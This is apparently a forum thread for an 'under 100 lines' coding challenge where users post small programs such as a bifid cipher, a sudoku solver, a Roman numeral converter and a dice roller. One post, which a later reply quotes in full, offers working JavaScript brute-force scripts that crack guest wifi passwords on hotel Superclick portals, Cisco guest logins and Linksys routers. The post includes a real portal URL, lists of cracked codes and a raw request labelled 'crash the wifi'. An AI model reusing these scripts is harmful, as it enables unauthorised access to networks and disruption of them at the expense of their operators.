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The under 100 line challenge!

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Here is my code

A small bifid cipher encoder/decoder

if it doesn't work fr some reason plsss reply or comment or whatever u r supposed to do

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import java.io.*;
public class Bifid_cypher {
    public static void main(String[] args) throws IOException {
        InputStreamReader red = (new InputStreamReader(System.in));
        BufferedReader in = new BufferedReader(red);
        System.out.println("Enter 1 to encrypt");
        System.out.println("Enter 2 to decrypt");
        int opt = Integer.parseInt(in.readLine());
        if (opt == 1)
        {
            char a[] = {'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z'};
            char c[][] = new char[5][5];
            char c1[] = new char[25];
            int x = 0;
            while (x <25)
            {
                int r= (int)(Math.random()*(25));//RANDOMISATION CODE
                char random=a[r];
                boolean b = true;
                for (int j = 0; j < x; j++)//FILTERING MATCHING ELEMENTS AND FILLING
                {
                    if(random==c1[j])
                    {
                        b = false;
                        break;
                    }
                }
                if (b==true)
                {
                    c1[x]=random;
                    x += 1;
                }
            }
            for(int j=0;j<25;j++)//1D TO 2D CONVERSION
            {
                if(j%5==0)
                {
                    System.out.print("\n");
                }
                c[((j)/5)][((j)%5)]=c1[j];
                System.out.print(c1[j]);
            }
            System.out.println("\n"+"enter the message");//ASK FOR THE INPUT
            String s=in.readLine();
            int e1[]=new int[s.length()*2];
            for(int i=0;i<s.length();i++)//ENCRYPTION STAGE
            {
                for(int j=0;j<5;j++)
                {
                    for(int k=0;k<5;k++)
                    {
                        if(s.charAt(i)=='J')
                        {
                            if('I'==c[j][k])
                            {
                                e1[i]=j;
                                e1[i+s.length()]=k;
                            }
                        }
                        else if(s.charAt(i)==c[j][k])
                        {
                            e1[i]=j;
                            e1[i+s.length()]=k;
                        }
                    }
                }
            }
            String output="";
            for(int i=0;i<s.length();i++)
            {
                output+=c[e1[i*2]][e1[i*2+1]];
            }
            System.out.println("\n"+"the encrypted code");
            System.out.print(output);
        }
        if(opt==2)
        {
            System.out.println("enter the encryption key");
            String s2[]=new String[5];
            for(int i=0;i<5;i++)
                s2[i]=in.readLine();
            System.out.println("enter the message");
            String msg=in.readLine();
            int e2[]=new int[msg.length()*2];
            for(int i=0;i<msg.length();i++)
            {
                for (int j = 0; j < 5; j++)
                {
                    for (int k = 0; k < 5; k++)
                    {
                        if(msg.charAt(i)==s2[j].charAt(k))
                        {
                            e2[i*2]=j;
                            e2[i*2+1]=k;
                        }
                    }
                }
            }
            System.out.println();
            String output="";
            for(int i=0;i<msg.length();i++)
            {
                output+=s2[e2[i]].charAt(e2[i+msg.length()]);
            }
            System.out.println("\n"+"the decrypted code");
            System.out.print(output);
        }
    }
}

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Hi everyone!

 

As my first project, getting comfortable with Python, I wrote this roman numeral to normal number converter!

 

It came out to 77 lines ;)

 

def calculatenumeral(str):
    roman_numeral = str
    ron_list = list(str)
    ron_list_worth = list(str)
    position_in_ron = 0
    ron_equals = 0
    i = 0

    for letter in roman_numeral:
        ron_list[position_in_ron] = letter

        if letter == roman_numerals[0]:
            ron_list_worth[position_in_ron] = 1

        if letter == roman_numerals[1]:
            ron_list_worth[position_in_ron] = 5

        if letter == roman_numerals[2]:
            ron_list_worth[position_in_ron] = 10

        if letter == roman_numerals[3]:
            ron_list_worth[position_in_ron] = 50

        if letter == roman_numerals[4]:
            ron_list_worth[position_in_ron] = 100

        if letter == roman_numerals[5]:
            ron_list_worth[position_in_ron] = 500

        if letter == roman_numerals[6]:
            ron_list_worth[position_in_ron] = 1000

        position_in_ron += 1

    position_in_ron = 0

    for letter in roman_numeral:
        ron_equals += ron_list_worth[position_in_ron]

        if ron_list_worth[position_in_ron - 1] < ron_list_worth[position_in_ron] and position_in_ron > 0:
            #for debugging: print(ron_equals, "-", (2 * ron_list_worth[position_in_ron - 1]))
            ron_equals = ron_equals - (2 * ron_list_worth[position_in_ron - 1])

        #for debugging: print("Ron = ", ron_equals, "| p = ", position_in_ron)
        position_in_ron += 1

    return ron_equals

while True:

    roman_numeral = input("\nWrite your roman numeral here: \n")

    roman_numeral = roman_numeral.upper()

    roman_numerals = ["I", "V", "X", "L", "C", "D", "M"]

    valid_ron = False
    go_on = True

    for letter in roman_numeral:

        if go_on == True:

            if letter in roman_numerals:
                go_on = True
                valid_ron = True

            elif letter not in roman_numerals:
                go_on = False
                valid_ron = False

    if valid_ron == True:

        print("That is: ", calculatenumeral(roman_numeral))

    if valid_ron == False:
        print("Sorry, '", roman_numeral, "' includes characters which are not yet supported.")

 


W H E N   T H E   W O R L D   I S   A G A I N S T   Y O U ,   B U I L D   C O M P U T E R S !

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I wrote a basic video player for sphere, the fallback atm is that it relies on raw frames in the form of jpg or png images and a ripped audio file in order to work.

 

let video_object = function(name, audioFormat = "mp3", raw = true, preload = false)
{
	this.srate = 23.976024;
	this.multipler = 1;
	this.refRate = 1000 / GetFrameRate();
	this.rate = 1000 / this.srate;
	this.raw = raw;
	this.name = name;
	this.preload = preload;
	
	this.audioFormat = audioFormat;
	if (raw)
	{
		this.videoFormat = "RAW";
	} else {
		this.videoFormat = "wtfvf"; // stands for WHAT THE %!#$ video format.
	}
	
	this.volume = 100;
	
	this.frameList = GetFileList("images/" + name);
	
	this.frameData = {};
	if (preload)
	{
		Print("Loading video \"" + name + "\"");
		for (frame = 0; frae < this.frameList.length; frame++)
		{
			print("		Loading " + this.frameList[frame]);
			let cache = LoadImage(name + this.frameList[frame]);
			this.frameData[frame.toString()] = cache;
		}
	}
	
	this.frameData["audio"] = LoadSound(name + "." + audioFormat);
}

video_object.prototype.SetFrameRate = function(newframerate)
{
	this.srate = newframerate;
	this.rate = 1000 / this.srate;
}

video_object.prototype.play = function(x, y)
{
	
	let updateFrame = false;
	let updateTime = GetTime() + this.rate;
	let frame = 0;
	let frameCount = this.frameList.length;
	let lastFrame = LoadImage(this.name + "/" + this.frameList[0]);
	
	this.frameData["audio"].play();
	
	let currentTime = GetTime();
	
	while(frame < frameCount)
	{
		currentTime = GetTime();
		
		if (updateFrame)
		{
			lastFrame = LoadImage(this.name + "/" + this.frameList[frame]);
			updateFrame = false;
		}
		
		lastFrame.blit(x, y);
		FlipScreen();
		
		if (currentTime >= updateTime)
		{
			let correction = currentTime - updateTime;
			
			Print(frame + " - " + correction);
			Print(currentTime + " - " + updateTime);
			
			updateTime = currentTime + this.rate - correction;
			updateFrame = true;
			frame++;
		}
	}
}

 


My procrastination is the bane of my existence.

I make games and stuff in my spare time.

|Build Your Own Case Project|

 

 

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A simple c++ sudoku solver using recursive backtracking I wrote a few weeks ago. This version only solves 9x9 sudokus, but adjusting to other sizes is only a matter of initializing the Sudoku template with another value (eg. Sudoku<4> for 16x16 sudokus).

It's plenty fast for any 9x9 sudoku and some 16x16 sudokus, usually only taking a few microseconds, but on harder sudokus it will take several minutes or hours (or more).

It's 107 lines of code actually, but I'm counting it anyway since the actual program only starts at line 10.

To compile using gcc, save as sudoku_solver.cpp and then type g++ --std c++17 -O3 sudoku_solver.cpp -o sudoku_solver.

Usage: ./sudoku_solver sudoku.txt

#include <iostream>
#include <fstream>
#include <iomanip>
#include <array>
#include <algorithm>
#include <optional>

using namespace std;

template<int n>
struct Sudoku {
	static const int width = n * n;
	static const int n_cells = width * width;
	typedef array<int, width> Row;
	typedef array<Row, width> Field;
	Field m_field;

	inline Sudoku<n>()
	    : m_field{}
	{}

	inline bool validate_row(int num, int i_row) const
	{
		return none_of(m_field[i_row].begin(), m_field[i_row].end(), [&](const int cell) { return cell == num; });
	}

	inline bool validate_col(int num, int i_col) const
	{
		return none_of(m_field.begin(), m_field.end(), [&](const Row &row) { return row[i_col] == num; });
	}

	inline bool validate_block(int num, int i_row, int i_col) const
	{
		const int block_row = i_row / n * n;
		const int block_col = i_col / n * n;
		for (int i = 0; i < width; ++i)
			if (num == m_field[block_row + i / n][block_col + i % n])
				return false;
		return true;
	}

	inline bool validate_cell(int num, int i_row, int i_col) const
	{
		return validate_row(num, i_row)  && validate_block(num, i_row, i_col) && validate_col(num, i_col);
	}

	inline optional<Sudoku<n>> get_solution()
	{
		Sudoku<n> solution(*this);
		return solution.solve_recursive(*this, 0) ? solution : optional<Sudoku<n>>{};
	}

	inline bool solve_recursive(const Sudoku<n> &sudoku, int index)
	{
		if (index == n_cells)
			return true;
		const int i_row = index / width;
		const int i_col = index % width;
		if (sudoku.m_field[i_row][i_col] != 0)
			return solve_recursive(sudoku, index + 1);
		for (int num = 1; num <= width; ++num) {
			if (validate_cell(num, i_row, i_col)) {
				m_field[i_row][i_col] = num;
				if (solve_recursive(sudoku, index + 1))
					return true;
			}
		}
		m_field[i_row][i_col] = 0;
		return false;
	}
};

template<int n>
ostream & operator<<(ostream &os, const Sudoku<n> &sudoku)
{
	for (const auto &row: sudoku.m_field) {
		for (const auto &cell: row)
			os << setw(2) << cell << " ";
		os << "\n";
	}
	return os;
}

template<int n>
istream & operator>>(istream &is, Sudoku<n> &sudoku)
{
	for (auto &row: sudoku.m_field)
		for (auto &cell: row)
			is >> cell;
	return is;
}

int main(int argc, char **argv)
{
	Sudoku<3> sudoku;
	ifstream(argv[1]) >> sudoku;
	auto solution = sudoku.get_solution();
	cout << "Input:\n" << sudoku << "\n";
	if (solution) {
		cout << "Found a solution:\n" << *solution;
		return 0;
	}
	cout << "No solution found.\n";
	return 1;
}

Example input file:

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0 0 1 3 0 0 7 0 2
0 0 6 2 0 0 0 1 0
0 2 0 0 0 0 0 0 4
2 0 0 6 0 1 3 0 9
0 0 0 0 0 0 0 0 0
4 0 3 8 0 9 0 0 7
1 0 0 0 0 0 0 8 0
0 5 0 0 0 6 4 0 0
9 0 4 0 0 8 5 0 0

 

Example output:

Spoiler

$ time ./sudoku_solver sudoku.txt
Input:
 0  0  1  3  0  0  7  0  2
 0  0  6  2  0  0  0  1  0
 0  2  0  0  0  0  0  0  4
 2  0  0  6  0  1  3  0  9
 0  0  0  0  0  0  0  0  0
 4  0  3  8  0  9  0  0  7
 1  0  0  0  0  0  0  8  0
 0  5  0  0  0  6  4  0  0
 9  0  4  0  0  8  5  0  0

Found a solution:
 8  4  1  3  6  5  7  9  2
 7  3  6  2  9  4  8  1  5
 5  2  9  1  8  7  6  3  4
 2  8  5  6  7  1  3  4  9
 6  9  7  4  3  2  1  5  8
 4  1  3  8  5  9  2  6  7
 1  7  2  5  4  3  9  8  6
 3  5  8  9  2  6  4  7  1
 9  6  4  7  1  8  5  2  3

real    0m0,006s
user    0m0,001s
sys     0m0,006s

 

 

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This is a chatbot written in Python, it is fairly simple, but is good enough, it might lag...

import random
say='Hi! I\'m an chatbot, called Medice, written in 50 lines! Enjoy!\n'
saylist=[]
try:
    savefile=open('savebot.txt','r')
except:
    savefile=open('savebot.txt','w')
    savefile.write('hello'+'\n')
    savefile.write('\n')
savefile.close()
savefile=open('savebot.txt','r')
while True:
    readl=savefile.readline()
    if readl=='\n':
        break
    saylist.append(readl)
savefile.close()
def s(word):
    saylist.append(word+'\n')
    savefile=open('savebot.txt','w')
    for i in range(0,len(saylist),1):
        savefile.write(saylist[i])
    savefile.write('\n')
    lastspace=0
    words=[]
    availible=[]
    word=word+' '
    for num,i in enumerate(word):
        if i == ' ':
            words.append(word[lastspace:num])
            lastspace=num
    for i in saylist:
        i=i.replace('\n','')+' \n'
        lastspace=0
        words2=[]
        for num,j in enumerate(i):
            if j == ' ':
                words2.append(i[lastspace:num])
                lastspace=num
        for j in words2:
            if j.replace('\n','') in words:
                if not j.replace('\n','') == word:
                    availible.append(i)
    print(availible)
    if availible == []:
        return random.choice(saylist)
    else:
        return random.choice(availible)
while True:
    say=s(input(say))
#should add matching for ?,. also find most matched phrasae, also dont let the bot repeat whatever was said in the first time it was said

Also, I realized that using less than 100 lines is easy with min.js ;).

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Here is a digital square root calculator in 26 lines.

 

#include <iostream>
#include <string>

unsigned digitalRoot(std::ostream &ostr, unsigned input)
{
    unsigned root = 0;
    while (input > 0)
    {
        unsigned digit = input % 10;
        root += digit;
        input /= 10;
        ostr << digit << " + ";
    }
    ostr << "\b\b\b = " << root << std::endl;
    return root < 10 ? root : digitalRoot(ostr, root);
}

int main()
{
    std::string input;
    std::cout << "Please enter a number: ";
    std::getline(std::cin, input);
    std::cout << "\nDigital root is " << digitalRoot(std::cout, (unsigned long long)std::stoi(input)) << ".\n\n";
    main();
    return 0;
}
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On 7/19/2018 at 6:35 PM, Wildstingray said:

I mean, I code write a 30,000 line program then just inline everything so it fits down to 100? would that disqualify?

you can code everything in just one single line in fact. Do this to annoy the hell out of your project manager


Sudo make me a sandwich 

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On 7/10/2018 at 8:09 PM, matias_a_etersen said:

 


        if letter == roman_numerals[0]:
            ron_list_worth[position_in_ron] = 1

        if letter == roman_numerals[1]:
            ron_list_worth[position_in_ron] = 5

        if letter == roman_numerals[2]:
            ron_list_worth[position_in_ron] = 10

        if letter == roman_numerals[3]:
            ron_list_worth[position_in_ron] = 50

        if letter == roman_numerals[4]:
            ron_list_worth[position_in_ron] = 100

        if letter == roman_numerals[5]:
            ron_list_worth[position_in_ron] = 500

        if letter == roman_numerals[6]:
            ron_list_worth[position_in_ron] = 1000

 

The above can be made a bit shorter in terms of lines if you want, though as always it's a little less readable, (haven't ran this but should work). I'm sure we could go even further but this becomes more of a code golf exercise at some point:

 

value = 1
for i in range(roman_numerals.index(letter)):
	value = (value * 5, value * 2)[i % 2 == 0]

ron_list_worth[position_in_ron] = value

 

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Once upon a time, I sat in a college lecture bored to death.  I texted one of my friends, who I could see from across the room was in a similar state.  A competition to write the shortest Python program to calculate e (the base of natural logarithms) ensued.  This is the code with which I won.

 


print(sum([1/(lambda p,q:q(p,q))(n,(lambda p,q:p!=0 and p*q(p-1,q) or 1)) for n in range(0,abs(int(input("Terms: "))))])**float(input("x: ")))

 

The program will ask for the number of terms to use in its power-series approximation for e, and for the exponent to use (because really this program calculates e raised to the x power).

 

Perhaps a bit of explaining is in order.  I don't know.  If you want an explanation of how this works, let me know.  18 terms seems to be enough for it to converge over the length of floating-point decimal data stored by Python.

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I will take this on when Im back from class

Really this just promotes the sloppier coding xD I checked some of my other projects and one is at like 108 lines with GOOD formatting and full if statements... if I butcher that down as much as I can I bet I can get a lot more lol

 

There was another trick I found for parsing strings on to the end of ArrayList individual strings in VB.net
Basically you use the function String.Join to combine the strings with a unique separator after the wanted suffix on the string (plus one more for the last string) then use String.Split on this new string to return it to an array.  There are a few other casts inbetween, but it can all be done in ONE line, something that no other built in function lets you do.  It cuts down on time MASSIVELY compared to iterating each string.  Example below:

OutputArrayList.AddRange((string.Join("SuffixString;", sourceStrings.ToArray()) + "SuffixString").Split(";".ToCharArray()).ToList());

You could do the same thing on the resulting output to add a suffix as well, just changing the location of the 2nd SuffixString to before the String.Join statement.

 

Again once I get back from class ill hopefully clean up and share a couple programs under 100 that I made for personal functionality.  Proxy scraper is the main one, but I also have a couple text tools that I made for unique uses I have daily.

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Some hotel wifi networks are open, but require you to authenticate with an easily crackable password, so here's a way to bypass that. Made it back in early 2017. For multiple different hotels.

var code = 1000, x, i = 0, concurrent_requests = 0;
//Hotel wifi password cracker(Superclick)
function CrackHotelWifiPassword()
{
	if (code == 10000)
		clearInterval(x);
	if (concurrent_requests >= 20)
		return; //max 20 req running at a time
	concurrent_requests++;
	var xmlhttp = new XMLHttpRequest();
	xmlhttp.open("POST", "/superclick/wifi_accept.php");
	xmlhttp.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
	xmlhttp.code = code;
	xmlhttp.onreadystatechange = function() {
	if (this.readyState === this.DONE) {
			concurrent_requests--;
			var loc = this.responseURL;//this.getResponseHeader("Location");
			console.log(loc);
			if (loc.indexOf("errcode=1") !== -1){ //otherwise it's empty because: http://prntscr.com/elmb70
				//console.log('Invalid code: ' + this.code);
			}
			else{
				console.log('Valid code: ' + this.code);
				//clearInterval(x);
			}
    }
    }
	xmlhttp.send("yesval=yes&noval=no&button=yes&password=" + (code++));
}

x = setInterval(CrackHotelWifiPassword, 250);

//note: must be executed when on https://p2593.superclick.com/std/holiday_inn_new/login_wifi_pin.php?group=4&roomid=1&lang=en&deflang=en&preview=


results:
/*
1005
, 1113, 1170, 1233, 1303, 1329, 1450, 1534, 1766, 1793, 1895, 2159, 
*/

2.

//------------------------------------------------------------------------------------------------
//for: (product=Cisco Router, notes=for the ones with only the password field)

var index = 0, code = 0, concurrent_requests = 0;
var sec_prefixes = ["cucumber", "lettuce", "kiwi", "olive", "potato", "tomato", "onion", "cabbage", "carrot", "eggplant", "radish", "garlic", "turnip", "maize", "broccoli", "spinach", "celery", "scallion", "zucchini", "artichoke"];

var x = setInterval(function(){
	if (concurrent_requests >= 40)
		return; //max 40 req running at a time
	if (code == 100){
	    code = 0;
	    index++;
	}
	if (index == sec_prefixes.length){
	clearInterval(x);
	return;
	}
	concurrent_requests++;
	id = sec_prefixes[index] + ("00" + code++).slice(-2);
	var xmlhttp = new XMLHttpRequest();
	xmlhttp.open("POST", "/guestnetwork.cgi");
	xmlhttp.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
	xmlhttp.code = id;
	xmlhttp.onreadystatechange = function() {
	if (this.readyState === this.DONE) {
			concurrent_requests--;
			if (this.responseText.indexOf("var deny='1'") === -1){
					console.log("Found PWD: " + this.responseURL + " - " + this.pwd);
					clearInterval(x);
            }
		else
			console.log('Incorrect PWD: ' + this.pwd);
    }
    }
	xmlhttp.send("submit_button=login&change_action=&action=Apply&wait_time=0&submit_type=&gn_host_url=google.com&gn_view_type=0&guest_login=" + encodeURIComponent(id));
}, 10);

3

//---------------------------------------------------------------------------------------
//LINKSYS Smart Wi-Fi guest password cracker
var code = 1, concurrent_requests = 0;

x = setInterval(function()
{
	if (code == 10000)
		clearInterval(x);
	if (concurrent_requests >= 20)
		return; //max 20 req running at a time
	concurrent_requests++;
	var xmlhttp = new XMLHttpRequest();
	xmlhttp.open("POST", "/JNAP/");
	xmlhttp.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
	xmlhttp.setRequestHeader('X-JNAP-Action', 'http://cisco.com/jnap/guestnetwork/Authenticate');
	xmlhttp.setRequestHeader('X-JNAP-Authorization', 'undefined');
	xmlhttp.code = code;
	xmlhttp.onreadystatechange = function() {
	if (this.readyState === this.DONE) {
			concurrent_requests--;
			var loc = this.responseURL;//this.getResponseHeader("Location");
			if (loc.indexOf('"result": "ErrorInvalidPassword"') !== -1){ //otherwise it's empty because: 
					console.log('Valid code: ' + this.code);
			}
    }
    }
	xmlhttp.send('{"macAddress":"d0:53:49:3e:90:ed","ipAddress":"192.168.3.125","password":"'+ (code++) +'"}');
}, 10);

crash the wifi:
POST http://192.168.3.1:10080/JNAP/ HTTP/1.1
Host: 192.168.3.1:10080
Connection: keep-alive
Content-Length: 52
X-JNAP-Action: http://cisco.com/jnap/guestnetwork/Authenticate
X-JNAP-Authorization: undefined
Origin: http://192.168.3.1:10080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/57.0.2987.98 Safari/537.36
Content-Type: application/json; charset=UTF-8
Accept: */*
Cache-Control: no-cache
X-Requested-With: XMLHttpRequest
Expires: Sun Mar 19 2017 17:51:19 GMT-0500 (Central Daylight Time)
DNT: 1
Referer: http://192.168.3.1:10080/ui/dynamic/guest-login.html
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.8

{"macAddress":"","ipAddress":null,"password":"1234"}

 

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Python dice roller. Works with whole numbers, catches errors when a decimal or word is entered.

#Dice roller v3
#By: purple_rider
#Python 3.7.1

import random

print("*Automatic Dice Roller*")
while True:

    print('-------------------------------')
    while True:
        try:
            number = int(input('Enter number of dice: '))
            break
        except ValueError:
            print('Oops! Try again with a whole number this time')
    while True:
        try:
            size = int(input('Enter size of dice: '))
            break
        except ValueError:
            print('Oops! Try again with a whole number this time')

    for number in range(number):
        roll = random.randint(1,size)
        print(roll)

 


And on the first day god said: "Cue one GO" And there was light!

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Just a simple Java Program, it check if a IP v4 Address is valid



import java.util.Scanner;

class Lesson_14_Activity_Three {
    public static void main(String[] args)
     {
     
     Scanner scan = new Scanner(System.in);
     
     int ipCheck1;
     int ipCheck2;
     int ipCheck3;
     int ipCheck4;
    
     
     
          
     System.out.println("Please enter the first octet: ");
     int ip1 = scan.nextInt();
     System.out.println("Please enter the second octet: ");
     int ip2 = scan.nextInt();
     System.out.println("Please enter the thrid octet: ");
     int ip3 = scan.nextInt();
     System.out.println("Please enter the fourth octet: ");
     int ip4 = scan.nextInt();
     
     if ((ip1 >= 0) && (ip1 <= 255)){
        ipCheck1 = 1;}
     else {
      System.out.println("Octet 1 is incorrect");
      ipCheck1 = 0;}
      
     if ((ip2 >= 0) && (ip2 <= 255)){
       ipCheck2 = 1;}
     else {
      System.out.println("Octet 2 is incorrect");
       ipCheck2 = 0;}
      
     if ((ip3 >= 0) && (ip3 <= 255)){
       ipCheck3 = 1;}
     else {
      System.out.println("Octet 3 is incorrect");
       ipCheck3 = 0;}
      
     if ((ip4 >= 0) && (ip4 <= 255)){
       ipCheck4 = 1;}
     else {
      System.out.println("Octet 4 is incorrect");
       ipCheck4 = 0; }
      
      if ((ipCheck1 == 1) && (ipCheck2 == 1) && (ipCheck3 == 1) && (ipCheck4 == 1)){
      System.out.println("IP Address: "+ ip1 +"."+ ip2 + "." + ip3 + "." + ip4);}
     
    }
}

 

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18 minutes ago, gutz00 said:

Just a simple Java Program, it check if a IP v4 Address is valid

If I could poke at this code for a moment...

 

See if you can re-write it so the program doesn't wait until all four octets are inputted before checking its range, rather it demands that the octet is correct before moving on to the next one.

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On 10/31/2018 at 8:33 PM, M.Yurizaki said:

If I could poke at this code for a moment...

 

See if you can re-write it so the program doesn't wait until all four octets are inputted before checking its range, rather it demands that the octet is correct before moving on to the next one.

Here it is in c++, 25 lines that demands a correct octet before moving on like you said.

#include <iostream>
#include <string>

int main()
{
	int octet;
	std::string ipAddress = "";

	for (unsigned int i = 0; i < 4; i++)
	{
		std::cout << "Please enter octet #" << i + 1 << ":\n";
		do
		{
			std::cin >> octet;
			if (!(octet >= 0 && octet <= 255))
				std::cout << "That octet is invalid. Please try again.\n";
		} while (!(octet >= 0 && octet <= 255));
		ipAddress += std::to_string(octet) + ".";
	}

	std::cout << "IP Address: " << ipAddress << "\b \n";

	system("pause");
	return 0;
}

/*
	Please enter octet #1:
	1
	Please enter octet #2:
	2
	Please enter octet #3:
	3
	Please enter octet #4:
	4
	IP Address: 1.2.3.4
	Press any key to continue . . .
*/

 

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On 10/18/2018 at 4:34 PM, vt-x said:

Some hotel wifi networks are open, but require you to authenticate with an easily crackable password, so here's a way to bypass that. Made it back in early 2017. For multiple different hotels.


var code = 1000, x, i = 0, concurrent_requests = 0;
//Hotel wifi password cracker(Superclick)
function CrackHotelWifiPassword()
{
	if (code == 10000)
		clearInterval(x);
	if (concurrent_requests >= 20)
		return; //max 20 req running at a time
	concurrent_requests++;
	var xmlhttp = new XMLHttpRequest();
	xmlhttp.open("POST", "/superclick/wifi_accept.php");
	xmlhttp.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
	xmlhttp.code = code;
	xmlhttp.onreadystatechange = function() {
	if (this.readyState === this.DONE) {
			concurrent_requests--;
			var loc = this.responseURL;//this.getResponseHeader("Location");
			console.log(loc);
			if (loc.indexOf("errcode=1") !== -1){ //otherwise it's empty because: http://prntscr.com/elmb70
				//console.log('Invalid code: ' + this.code);
			}
			else{
				console.log('Valid code: ' + this.code);
				//clearInterval(x);
			}
    }
    }
	xmlhttp.send("yesval=yes&noval=no&button=yes&password=" + (code++));
}

x = setInterval(CrackHotelWifiPassword, 250);

//note: must be executed when on https://p2593.superclick.com/std/holiday_inn_new/login_wifi_pin.php?group=4&roomid=1&lang=en&deflang=en&preview=


results:
/*
1005
, 1113, 1170, 1233, 1303, 1329, 1450, 1534, 1766, 1793, 1895, 2159, 
*/

2.


//------------------------------------------------------------------------------------------------
//for: (product=Cisco Router, notes=for the ones with only the password field)

var index = 0, code = 0, concurrent_requests = 0;
var sec_prefixes = ["cucumber", "lettuce", "kiwi", "olive", "potato", "tomato", "onion", "cabbage", "carrot", "eggplant", "radish", "garlic", "turnip", "maize", "broccoli", "spinach", "celery", "scallion", "zucchini", "artichoke"];

var x = setInterval(function(){
	if (concurrent_requests >= 40)
		return; //max 40 req running at a time
	if (code == 100){
	    code = 0;
	    index++;
	}
	if (index == sec_prefixes.length){
	clearInterval(x);
	return;
	}
	concurrent_requests++;
	id = sec_prefixes[index] + ("00" + code++).slice(-2);
	var xmlhttp = new XMLHttpRequest();
	xmlhttp.open("POST", "/guestnetwork.cgi");
	xmlhttp.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
	xmlhttp.code = id;
	xmlhttp.onreadystatechange = function() {
	if (this.readyState === this.DONE) {
			concurrent_requests--;
			if (this.responseText.indexOf("var deny='1'") === -1){
					console.log("Found PWD: " + this.responseURL + " - " + this.pwd);
					clearInterval(x);
            }
		else
			console.log('Incorrect PWD: ' + this.pwd);
    }
    }
	xmlhttp.send("submit_button=login&change_action=&action=Apply&wait_time=0&submit_type=&gn_host_url=google.com&gn_view_type=0&guest_login=" + encodeURIComponent(id));
}, 10);

3


//---------------------------------------------------------------------------------------
//LINKSYS Smart Wi-Fi guest password cracker
var code = 1, concurrent_requests = 0;

x = setInterval(function()
{
	if (code == 10000)
		clearInterval(x);
	if (concurrent_requests >= 20)
		return; //max 20 req running at a time
	concurrent_requests++;
	var xmlhttp = new XMLHttpRequest();
	xmlhttp.open("POST", "/JNAP/");
	xmlhttp.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
	xmlhttp.setRequestHeader('X-JNAP-Action', 'http://cisco.com/jnap/guestnetwork/Authenticate');
	xmlhttp.setRequestHeader('X-JNAP-Authorization', 'undefined');
	xmlhttp.code = code;
	xmlhttp.onreadystatechange = function() {
	if (this.readyState === this.DONE) {
			concurrent_requests--;
			var loc = this.responseURL;//this.getResponseHeader("Location");
			if (loc.indexOf('"result": "ErrorInvalidPassword"') !== -1){ //otherwise it's empty because: 
					console.log('Valid code: ' + this.code);
			}
    }
    }
	xmlhttp.send('{"macAddress":"d0:53:49:3e:90:ed","ipAddress":"192.168.3.125","password":"'+ (code++) +'"}');
}, 10);

crash the wifi:
POST http://192.168.3.1:10080/JNAP/ HTTP/1.1
Host: 192.168.3.1:10080
Connection: keep-alive
Content-Length: 52
X-JNAP-Action: http://cisco.com/jnap/guestnetwork/Authenticate
X-JNAP-Authorization: undefined
Origin: http://192.168.3.1:10080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/57.0.2987.98 Safari/537.36
Content-Type: application/json; charset=UTF-8
Accept: */*
Cache-Control: no-cache
X-Requested-With: XMLHttpRequest
Expires: Sun Mar 19 2017 17:51:19 GMT-0500 (Central Daylight Time)
DNT: 1
Referer: http://192.168.3.1:10080/ui/dynamic/guest-login.html
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.8

{"macAddress":"","ipAddress":null,"password":"1234"}

 

whats the success rate? 


Sudo make me a sandwich 

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Wave generators. So far I have 3 wave types in 69 lines, atleast in the code golf version (which is identical less comments). That could be shortened by about 5 lines (see code comments for CosineWave). I plan to add other wave types, as well as synthesis functions. All waves are in the form of numpy arrays that are T * Fs in length. I'm still debating about adding other functionality and return types. One of the prime things I'm thinking about is incorporating HoloViews objects into my return types, to make graphing easier.

 

import numpy as np 
import matplotlib.pyplot as plt 

class Wave:

    def __init__(self, **kwargs):
        self.frequency = 1
        self.amplitude = 1
        self.phase_shift = 0
        self.vertical_shift = 0
        self.sampling_frequency = 1000
        self.time = 5

        allowed_keys = list(self.__dict__.keys())
        self.__dict__.update((key, value) for key, value in kwargs.items() if key in allowed_keys)

    def get_time_axis(self):
        return np.linspace(0, self.time, self.sampling_frequency * self.time)

    def get_amplitude_axis(self):
        raise NotImplementedError("get_amplitude_axis must be implemented by child classes")

class SineWave(Wave):

    def __init__(self, **kwargs):
        super(SineWave, self).__init__(**kwargs)

    def get_amplitude_axis(self):
        phase_radians = (self.phase_shift * np.pi) / 180
        frequency_circle = 2 * np.pi * self.frequency

        phase_shifted_sine = np.sin((frequency_circle * self.get_time_axis() + phase_radians))
        amplitude_adjusted_sine = phase_shifted_sine * self.amplitude
        
        return amplitude_adjusted_sine + self.vertical_shift

class CosineWave(Wave):

    def __init__(self, **kwargs):
        super(CosineWave, self).__init__(**kwargs)

    def get_amplitude_axis(self):
        # Trivially, this could be done by shifting sine left 90 degrees. In code golf that would save some lines
        phase_radians = (self.phase_shift * np.pi) / 180
        frequency_circle = 2 * np.pi * self.frequency

        phase_shifted_cosine = np.cos((frequency_circle * self.get_amplitude_axis()) + phase_radians)
        amplitude_adjusted_cosine = phase_shifted_cosine * self.amplitude

        return amplitude_adjusted_cosine + self.vertical_shift

class SawWave(Wave):

    def __init__(self, **kwargs):
        super(SawWave, self).__init__(**kwargs)

    def get_amplitude_axis(self):
        amplitude_term = -((2 * self.amplitude) / np.pi)
        phase_radians = (self.phase_shift * np.pi) / 180
        period = 1 / self.frequency
        
        # here we are going to build cotangent by cos/sin
        sin = np.sin(((self.get_time_axis() * np.pi) / period) + phase_radians)
        cos = np.cos(((self.get_time_axis() * np.pi) / period) + phase_radians)
        cotangent = cos / sin

        #what we really wanted was arctan(cotan(x)). we also scale by amplitude
        amplitude_saw = np.arctan(cotangent) * amplitude_term

        return amplitude_saw + self.vertical_shift

 

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Crappy hacked together sorting algorithm that I use to sort a JS object.

 

const sortByMostCommon = tags => {
    const keys = Object.keys(tags);
    const sorted = [];
    const next = (keys, sorted) => {
        let maxLeft = 0;
